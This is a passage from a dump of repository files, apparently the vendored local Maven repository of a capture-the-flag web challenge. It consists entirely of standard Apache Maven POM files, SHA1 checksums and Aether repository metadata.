<unsubscribe>users-unsubscribe@maven.apache.org</unsubscribe>\n      <post>users@maven.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-users</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/users@maven.apache.org/</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven---Users-f178.html</otherArchive>\n        <otherArchive>http://maven.users.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Issues List</name>\n      <subscribe>issues-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>issues-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-issues/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/issues@maven.apache.org</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven---Issues-f15573.html</otherArchive>\n        <otherArchive>http://maven.issues.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Commits List</name>\n      <subscribe>commits-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>commits-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-commits</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/commits@maven.apache.org</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven---Commits-f15575.html</otherArchive>\n        <otherArchive>http://maven.commits.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <!--\n      duplication from parent pom - temporary until they inherit\n      properly\n    -->\n    <mailingList>\n      <name>Maven Announcements List</name>\n      <post>announce@maven.apache.org</post>\n      <subscribe>announce-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-announce/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/announce@maven.apache.org</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven-Announcements-f15617.html</otherArchive>\n        <otherArchive>http://maven.announce.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Notifications List</name>\n      <subscribe>notifications-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>notifications-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-notifications/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/notifications@maven.apache.org</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven---Notifications-f15574.html</otherArchive>\n        <otherArchive>http://maven.notifications.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n\n  <modules>\n    <module>maven-core</module>\n    <module>apache-maven</module>\n    <module>maven-model</module>\n    <module>maven-settings</module>\n    <module>maven-settings-builder</module>\n    <module>maven-artifact</module>\n    <module>maven-aether-provider</module>\n    <module>maven-repository-metadata</module>\n    <module>maven-plugin-api</module>\n    <module>maven-model-builder</module>\n    <module>maven-embedder</module>\n    <module>maven-compat</module>\n  </modules>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/maven-3/tags/maven-3.0</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/maven-3/tags/maven-3.0</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/maven-3/tags/maven-3.0</url>\n  </scm>\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/MNG</url>\n  </issueManagement>\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <url>scp://people.apache.org/www/maven.apache.org/ref/${project.version}/</url>\n    </site>\n  </distributionManagement>\n\n  <!--bootstrap-start-comment-->\n  <dependencyManagement>\n    <!--bootstrap-end-comment-->\n    <dependencies>\n      <!--  Maven Modules -->\n      <!--bootstrap-start-comment-->\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-model</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-settings</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-settings-builder</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-plugin-api</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-embedder</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-core</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-model-builder</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-compat</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-artifact</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-aether-provider</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven</groupId>\n        <artifactId>maven-repository-metadata</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <!--bootstrap-end-comment-->\n      <!--  Plexus -->\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-utils</artifactId>\n        <version>${plexusUtilsVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.sonatype.sisu</groupId>\n        <artifactId>sisu-inject-plexus</artifactId>\n        <version>${sisuInjectVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-component-annotations</artifactId>\n        <version>${plexusVersion}</version>\n        <exclusions>\n          <exclusion>\n            <groupId>junit</groupId>\n            <artifactId>junit</artifactId>\n          </exclusion>\n        </exclusions>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-classworlds</artifactId>\n        <version>${classWorldsVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-interpolation</artifactId>\n        <version>${plexusInterpolationVersion}</version>\n      </dependency>\n      <!--  Wagon -->\n      <dependency>\n        <groupId>org.apache.maven.wagon</groupId>\n        <artifactId>wagon-provider-api</artifactId>\n        <version>${wagonVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.wagon</groupId>\n        <artifactId>wagon-file</artifactId>\n        <version>${wagonVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.wagon</groupId>\n        <artifactId>wagon-http-lightweight</artifactId>\n        <version>${wagonVersion}</version>\n      </dependency>\n      <!--  Repository -->\n      <dependency>\n        <groupId>org.sonatype.aether</groupId>\n        <artifactId>aether-api</artifactId>\n        <version>${aetherVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.sonatype.aether</groupId>\n        <artifactId>aether-impl</artifactId>\n        <version>${aetherVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.sonatype.aether</groupId>\n        <artifactId>aether-util</artifactId>\n        <version>${aetherVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.sonatype.aether</groupId>\n        <artifactId>aether-connector-wagon</artifactId>\n        <version>${aetherVersion}</version>\n        <exclusions>\n          <exclusion>\n            <groupId>org.codehaus.plexus</groupId>\n            <artifactId>plexus-container-default</artifactId>\n          </exclusion>\n        </exclusions>\n      </dependency>\n      <!--  Commons -->\n      <dependency>\n        <groupId>commons-cli</groupId>\n        <artifactId>commons-cli</artifactId>\n        <version>${commonsCliVersion}</version>\n        <exclusions>\n          <exclusion>\n            <groupId>commons-lang</groupId>\n            <artifactId>commons-lang</artifactId>\n          </exclusion>\n          <exclusion>\n            <groupId>commons-logging</groupId>\n            <artifactId>commons-logging</artifactId>\n          </exclusion>\n        </exclusions>\n      </dependency>\n      <dependency>\n        <groupId>commons-jxpath</groupId>\n        <artifactId>commons-jxpath</artifactId>\n        <version>${jxpathVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.sonatype.plexus</groupId>\n        <artifactId>plexus-sec-dispatcher</artifactId>\n        <version>${securityDispatcherVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.sonatype.plexus</groupId>\n        <artifactId>plexus-cipher</artifactId>\n        <version>${cipherVersion}</version>\n      </dependency>\n      <!--bootstrap-start-comment-->\n      <dependency>\n        <groupId>easymock</groupId>\n        <artifactId>easymock</artifactId>\n        <version>${easyMockVersion}</version>\n        <scope>test</scope>\n      </dependency>\n      <!--bootstrap-end-comment-->\n    </dependencies>\n    <!--bootstrap-start-comment-->\n  </dependencyManagement>\n  <!--bootstrap-end-comment-->\n  <!--bootstrap-start-comment-->\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>${junitVersion}</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n  <!--bootstrap-end-comment-->\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-component-metadata</artifactId>\n          <version>${plexusVersion}</version>\n          <executions>\n            <execution>\n              <goals>\n                <goal>generate-metadata</goal>\n                <goal>generate-test-metadata</goal>\n              </goals>\n            </execution>\n          </executions>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>2.0.2</version>\n          <configuration>\n            <source>1.5</source>\n            <target>1.5</target>\n          </configuration>\n        </plugin>\n        <plugin>\n          <artifactId>maven-release-plugin</artifactId>\n          <configuration>\n            <tagBase>https://svn.apache.org/repos/asf/maven/maven-3/tags</tagBase>\n            <autoVersionSubmodules>true</autoVersionSubmodules>\n          </configuration>\n        </plugin>\n        <plugin>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <configuration>\n            <argLine>-Xmx256m</argLine>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.modello</groupId>\n          <artifactId>modello-maven-plugin</artifactId>\n          <version>${modelloVersion}</version>\n          <configuration>\n            <useJava5>true</useJava5>\n          </configuration>\n          <executions>\n            <execution>\n              <id>site-docs</id>\n              <phase>pre-site</phase>\n              <goals>\n                <goal>xdoc</goal>\n                <goal>xsd</goal>\n              </goals>\n            </execution>\n            <execution>\n              <id>standard</id>\n              <goals>\n                <goal>java</goal>\n                <goal>xpp3-reader</goal>\n                <goal>xpp3-writer</goal>\n              </goals>\n            </execution>\n          </executions>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.felix</groupId>\n          <artifactId>maven-bundle-plugin</artifactId>\n          <version>1.0.0</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-assembly-plugin</artifactId>\n          <version>2.2-beta-5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-resources-plugin</artifactId>\n          <version>2.4.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-remote-resources-plugin</artifactId>\n          <version>1.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>2.1</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>animal-sniffer-maven-plugin</artifactId>\n        <version>1.6</version>\n        <configuration>\n          <signature>\n            <groupId>org.codehaus.mojo.signature</groupId>\n            <artifactId>java15</artifactId>\n            <version>1.0</version>\n          </signature>\n        </configuration>\n        <executions>\n          <execution>\n            <id>check-java-1.5-compat</id>\n            <phase>process-classes</phase>\n            <goals>\n              <goal>check</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n\n  <profiles>\n    <profile>\n      <id>apache-release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <artifactId>maven-assembly-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>source-release-assembly</id>\n                <configuration>\n                  <!-- we have a dedicated distribution module -->\n                  <skipAssembly>true</skipAssembly>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>reporting</id>\n      <reporting>\n        <plugins>\n          <plugin>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <version>2.5</version>\n          </plugin>\n          <plugin>\n            <artifactId>maven-pmd-plugin</artifactId>\n            <configuration>\n              <targetJdk>1.5</targetJdk>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>cobertura-maven-plugin</artifactId>\n            <version>2.2</version>\n            <reportSets>\n              <reportSet>\n                <!-- Disabled at it kills the site generation via a NoClassDefFoundError -->\n                <reports />\n              </reportSet>\n            </reportSets>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n    <profile>\n      <id>maven-repo-local</id>\n      <activation>\n        <property>\n          <name>maven.repo.local</name>\n        </property>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n            <artifactId>maven-surefire-plugin</artifactId>\n            <configuration>\n              <systemProperties combine.children=\"append\">\n                <property>\n                  <!-- Pass this through to the tests (if set!) to have them pick the right repository -->\n                  <name>maven.repo.local</name>\n                  <value>${maven.repo.local}</value>\n                </property>\n              </systemProperties>\n            </configuration>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>m2e</id>\n      <properties>\n        <m2BuildDirectory>target</m2BuildDirectory>\n      </properties>\n      <activation>\n        <property>\n          <name>m2e.version</name>\n        </property>\n      </activation>\n      <build>\n        <directory>${m2BuildDirectory}</directory>\n        <plugins>\n          <plugin>\n            <groupId>org.maven.ide.eclipse</groupId>\n            <artifactId>lifecycle-mapping</artifactId>\n            <version>0.10.0</version>\n            <configuration>\n              <mappingId>customizable</mappingId>\n              <configurators>\n                <configurator id=\"org.maven.ide.eclipse.jdt.javaConfigurator\" />\n                <configurator id=\"org.maven.ide.eclipse.modello.modelloConfigurator\" />\n                <configurator id=\"org.maven.ide.eclipse.plexus.annotations.plexusConfigurator\" />\n              </configurators>\n              <mojoExecutions>\n                <mojoExecution>org.apache.maven.plugins:maven-resources-plugin::</mojoExecution>\n              </mojoExecutions>\n            </configuration>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven/3.0/maven-3.0.pom.sha1",
    "content": "30c961aaf964aadcc028102ebe03d1afff324ec0"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-aether-provider/3.0/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\nmaven-aether-provider-3.0.jar>central=\nmaven-aether-provider-3.0.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-aether-provider/3.0/maven-aether-provider-3.0.jar.sha1",
    "content": "419f5eb63cf743a1a0f2a80ea5dde37fd1a4fec0"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-aether-provider/3.0/maven-aether-provider-3.0.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven</artifactId>\n    <version>3.0</version>\n  </parent>\n\n  <artifactId>maven-aether-provider</artifactId>\n\n  <name>Maven Aether Provider</name>\n  <description>\n    This module provides extensions to Aether for utilizing the Maven POM and Maven metadata.\n  </description>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-model-builder</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-repository-metadata</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.sonatype.aether</groupId>\n      <artifactId>aether-api</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.sonatype.aether</groupId>\n      <artifactId>aether-util</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.sonatype.aether</groupId>\n      <artifactId>aether-impl</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-component-annotations</artifactId>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-component-metadata</artifactId>\n      </plugin>\n    </plugins>\n  </build>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-aether-provider/3.0/maven-aether-provider-3.0.pom.sha1",
    "content": "a3e7fa0d4d0d26f901c919173681bab824c5588c"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-archiver/2.4.2/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\nmaven-archiver-2.4.2.jar>central=\nmaven-archiver-2.4.2.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-archiver/2.4.2/maven-archiver-2.4.2.jar.sha1",
    "content": "ddcb393749701eb292a263a3500db69df39aef43"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-archiver/2.4.2/maven-archiver-2.4.2.pom",
    "content": "<?xml version='1.0' encoding='UTF-8'?>\n<!--\n  Licensed to the Apache Software Foundation (ASF) under one\n  or more contributor license agreements.  See the NOTICE file\n  distributed with this work for additional information\n  regarding copyright ownership.  The ASF licenses this file\n  to you under the Apache License, Version 2.0 (the\n  \"License\"); you may not use this file except in compliance\n  with the License.  You may obtain a copy of the License at \n  http://www.apache.org/licenses/LICENSE-2.0\n  \n  Unless required by applicable law or agreed to in writing,\n  software distributed under the License is distributed on an\n  \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n  KIND, either express or implied.  See the License for the\n  specific language governing permissions and limitations\n  under the License.\n-->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven.shared</groupId>\n    <artifactId>maven-shared-components</artifactId>\n    <version>16</version>\n    <relativePath>../maven-shared-components/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.apache.maven</groupId>\n  <artifactId>maven-archiver</artifactId>\n  <version>2.4.2</version>\n\n  <name>Maven Archiver</name>\n  <description>Provides utility methods for creating JARs and other archive files from a Maven project.</description>\n\n  <prerequisites>\n    <maven>${mavenVersion}</maven>\n  </prerequisites>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/shared/tags/maven-archiver-2.4.2</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/shared/tags/maven-archiver-2.4.2</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/shared/tags/maven-archiver-2.4.2</url>\n  </scm>\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/MSHARED/component/13268</url>\n  </issueManagement>\n\n  <properties>\n    <mavenVersion>2.0.6</mavenVersion>\n  </properties>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-artifact</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-model</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-project</artifactId>\n      <version>${mavenVersion}</version>\n      <scope>provided</scope>\n      <exclusions>\n        <exclusion>\n          <groupId>org.apache.maven</groupId>\n          <artifactId>maven-artifact-manager</artifactId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-archiver</artifactId>\n      <version>2.0.1</version>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n      <version>3.0</version>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-interpolation</artifactId>\n      <version>1.13</version>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.2</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <artifactId>maven-changes-plugin</artifactId>\n        <version>2.0-beta-3</version>\n        <configuration>\n          <issueLinkTemplate>%URL%/%ISSUE%</issueLinkTemplate>\n        </configuration>\n        <reportSets>\n          <reportSet>\n            <reports>\n              <report>changes-report</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n      </plugin>\n    </plugins>\n  </reporting>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-archiver/2.4.2/maven-archiver-2.4.2.pom.sha1",
    "content": "5529ed1bd724ba24d7d170e77e36d7277fefe6a1"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-archiver/2.5/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:59:19 CST 2018\nmaven-archiver-2.5.jar>central=\nmaven-archiver-2.5.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-archiver/2.5/maven-archiver-2.5.jar.sha1",
    "content": "c999ae305f22ecfc5a000dca12a39b9491778bd5"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-archiver/2.5/maven-archiver-2.5.pom",
    "content": "<?xml version='1.0' encoding='UTF-8'?>\n<!--\n  Licensed to the Apache Software Foundation (ASF) under one\n  or more contributor license agreements.  See the NOTICE file\n  distributed with this work for additional information\n  regarding copyright ownership.  The ASF licenses this file\n  to you under the Apache License, Version 2.0 (the\n  \"License\"); you may not use this file except in compliance\n  with the License.  You may obtain a copy of the License at \n  http://www.apache.org/licenses/LICENSE-2.0\n  \n  Unless required by applicable law or agreed to in writing,\n  software distributed under the License is distributed on an\n  \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n  KIND, either express or implied.  See the License for the\n  specific language governing permissions and limitations\n  under the License.\n-->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven.shared</groupId>\n    <artifactId>maven-shared-components</artifactId>\n    <version>17</version>\n    <relativePath>../maven-shared-components/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.apache.maven</groupId>\n  <artifactId>maven-archiver</artifactId>\n  <version>2.5</version>\n\n  <name>Maven Archiver</name>\n  <description>Provides utility methods for creating JARs and other archive files from a Maven project.</description>\n\n  <prerequisites>\n    <maven>${mavenVersion}</maven>\n  </prerequisites>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/shared/tags/maven-archiver-2.5</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/shared/tags/maven-archiver-2.5</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/shared/tags/maven-archiver-2.5</url>\n  </scm>\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/MSHARED/component/13268</url>\n  </issueManagement>\n\n  <properties>\n    <mavenVersion>2.0.6</mavenVersion>\n  </properties>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-artifact</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-model</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-project</artifactId>\n      <version>${mavenVersion}</version>\n      <scope>provided</scope>\n      <exclusions>\n        <exclusion>\n          <groupId>org.apache.maven</groupId>\n          <artifactId>maven-artifact-manager</artifactId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-core</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-archiver</artifactId>\n      <version>2.1</version>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n      <version>3.0</version>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-interpolation</artifactId>\n      <version>1.15</version>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.2</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <configuration>\n            <source>1.5</source>\n            <target>1.5</target>\n          </configuration>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <artifactId>maven-changes-plugin</artifactId>\n        <version>2.0-beta-3</version>\n        <configuration>\n          <issueLinkTemplate>%URL%/%ISSUE%</issueLinkTemplate>\n        </configuration>\n        <reportSets>\n          <reportSet>\n            <reports>\n              <report>changes-report</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n      </plugin>\n    </plugins>\n  </reporting>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-archiver/2.5/maven-archiver-2.5.pom.sha1",
    "content": "a46a65782b96c7624c0ff64b50a91ba2935d84f6"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact/2.0.6/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:44 CST 2018\nmaven-artifact-2.0.6.pom>central=\nmaven-artifact-2.0.6.jar>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact/2.0.6/maven-artifact-2.0.6.jar.sha1",
    "content": "fcbf6e26a6d26ecaa25c199b6f16bf168b2f28dc"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-artifact/2.0.6/maven-artifact-2.0.6.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>maven</artifactId>\n    <groupId>org.apache.maven</groupId>\n    <version>2.0.6</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>maven-artifact</artifactId>\n  <name>Maven Artifact</name>\n  <dependencies>\n    <dependency>\n      